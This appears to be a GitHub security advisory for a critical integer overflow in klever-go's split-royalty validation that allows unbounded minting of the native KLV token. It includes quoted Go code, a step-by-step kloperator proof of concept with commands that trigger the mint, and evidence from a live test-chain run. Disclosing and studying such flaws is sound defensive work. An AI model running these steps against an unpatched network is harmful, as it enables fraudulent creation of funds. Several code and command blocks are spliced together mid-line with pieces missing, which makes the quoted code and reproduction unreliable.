GitHub Advisoryadvisory · Go

GHSA-cgc5-v3f2-8m2v Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)

CRITICAL Published 2026-08-28 Modified 2026-08-28 Official page ↗
Aliases
CVE-2026-54755
Ecosystem
Go
Packages
github.com/klever-io/klever-go
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
Weaknesses
CWE-190
Reviewed
2026-08-28

Affected packages

• Go github.com/klever-io/klever-go: < 1.7.19 → fixed in 1.7.19

Description

Summary The per-entry percentages of a KDA asset's split royalties are validated by summing them into a `uint32` accumulator and checking the *sum* against `HundredPercent (10000)`, with no upper bound on each individual entry. Two split entries whose percentages sum to just over `2^32` wrap around below `10000` and pass validation, while each stored value remains astronomically large (e.g. `0x80000000 = 2,147,483,648` ≈ 21,474,836%). At royalty payout, each split recipient is credited `pool × hugePct / 10000` — far more than the royalty pool — and the resulting negative remainder is silently discarded (`if royaltiesToPay core.HundredPercent { // HundredPercent = 10000 return false } } return true } ``` The per-entry `> HundredPercent` check that exists for `TransferPercentage` tiers (`create.go:398`, `trigger.go:780`) does not apply to these `SplitRoyalties` fields. `0x80000000 + 0x80000000 = 0x1_0000_0000` → wraps to `0` in `uint32` → `CheckValid100Params(0)` is true. 3. Payout over-pays and silently drops the negative remainder (mint), in KLV `core/kapp/accounts/accounts.go` — `processFixedRoyaltiesTransfer` (L316-382): ```go err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty // ... royaltiesFixedToPay := kda.Royalties.TransferFixed for key, value := range kda.Royalties.SplitRoyalties { // L343: split paid in KLV using the overflowed PercentTransferFixed status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible, acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay) // ... } if royaltiesFixedToPay /tmp/klnode.log 2>&1 # clean recipient, will receive minted KLV R2= # second recipient /tmp/kloperator kda create 0 \ --name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \ --royaltiesAddress= \ --royaltiesTransferFixed=1 \ --splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \ --splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \ -s --await ``` Expected: `resultCode: Ok`. The node stores `percentTransferFixed: 2147483648` for both recipients (a correct chain would reject this). Step 2 — mint KLV with one ordinary transfer ```bash /tmp/kloperator account send "$R2" 1 --kda KPRT2- -s --await ``` Expected: `resultCode: Ok`, with two KLV transfer receipts of `214748364800` (= 214,748.36 KLV) to R1 and R2 — for a `TransferFixed` royalty of `1000000` (1 KLV). Verify the mint ```bash R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV: curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \ "import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')" ``` --- Evidence (live single-node run, chainID 420420) Asset creation — overflowed split royalties accepted (`resultCode: Ok`) tx `1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb`, broadcast contract (operator output, abridged): ```json { "type": 0, "name": "KlvPrinter2", "ticker": "KPRT2", "ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "initialSupply": 1000000000000, …

Related

Alias · CVE (1)

  • CVE-2026-54755 Klever-Go is the Go implementation of the Klever blockchain protocol. vulnerability

Weakness · CWE (1)

  • CWE-190 Integer Overflow or Wraparound weakness

References